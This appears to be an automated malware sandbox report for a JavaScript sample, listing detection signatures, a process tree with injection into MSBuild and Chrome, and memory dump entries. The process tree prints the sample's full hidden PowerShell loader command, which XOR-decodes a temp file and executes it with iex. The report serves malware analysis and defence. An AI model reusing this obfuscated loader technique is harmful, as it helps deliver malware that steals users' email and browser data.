Analysis
- max time kernel
149s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
15/06/2026, 21:33
General
- Target REQ-67545.js
- Size 2.8MB
- Sample260615-1eecxags4s
- SHA256 2df7a9ec38d125b1e1517466ea4761cc9d9071086f2fdc472ce5a2f0ddc43363
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Loads dropped DLL 1 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- UPX packed file 1 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 23 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
- outlook_office_path 1 IoCs
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\REQ-67545.js1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$h=[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\log_25540_5e67').Trim();Remove-Item 'C:\Users\Admin\AppData\Local\Temp\log_25540_5e67' -Force -EA 0;$n=$h.Length/2;$b=[byte[]]::new($n);for($i=0;$i-lt$n;$i++){$b[$i]=[Convert]::ToByte($h.Substring($i*2,2),16)-bxor0xA5};$sc=[System.Text.Encoding]::UTF8.GetString($b);if($sc.Length-gt0-and[int][char]$sc[0]-eq65279){$sc=$sc.Substring(1)};iex $sc"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"3⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- outlook_office_path
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"4⤵
- Loads dropped DLL
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C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
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C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
msasn1.dll
__PSScriptPolicyTest_uonnj0f5.pha.ps1
log_25540_5e67
memory/2724-28-0x000002A4C1070000-0x000002A4C1071000-memory.dmp
memory/2724-37-0x000002A4DD870000-0x000002A4DDD98000-memory.dmp
memory/2724-36-0x000002A4DD170000-0x000002A4DD332000-memory.dmp
memory/2724-35-0x000002A4C2E60000-0x000002A4C2EB0000-memory.dmp
memory/2724-29-0x0000000000400000-0x0000000000464000-memory.dmp
memory/3260-22-0x00000229B6670000-0x00000229B667A000-memory.dmp
memory/3260-27-0x00000229B6680000-0x00000229B6688000-memory.dmp
memory/3260-2-0x00000229B66A0000-0x00000229B66B0000-memory.dmp
memory/3260-23-0x00000229B8AA0000-0x00000229B8ACA000-memory.dmp
memory/3260-24-0x00000229B8AA0000-0x00000229B8AC4000-memory.dmp
memory/3260-25-0x00000229B66A0000-0x00000229B66B0000-memory.dmp
memory/3260-26-0x00000229B6660000-0x00000229B667E000-memory.dmp
memory/3260-21-0x00000229B8B60000-0x00000229B8C13000-memory.dmp
memory/3260-20-0x00000229B6650000-0x00000229B666C000-memory.dmp
memory/3260-13-0x00007FF4DEC70000-0x00007FF4DEC80000-memory.dmp
memory/3260-12-0x00000229B8AE0000-0x00000229B8B56000-memory.dmp
memory/3260-10-0x00000229B66A0000-0x00000229B66B0000-memory.dmp
memory/3260-8-0x00000229B65C0000-0x00000229B65E2000-memory.dmp
memory/3260-1-0x00000229B66A0000-0x00000229B66B0000-memory.dmp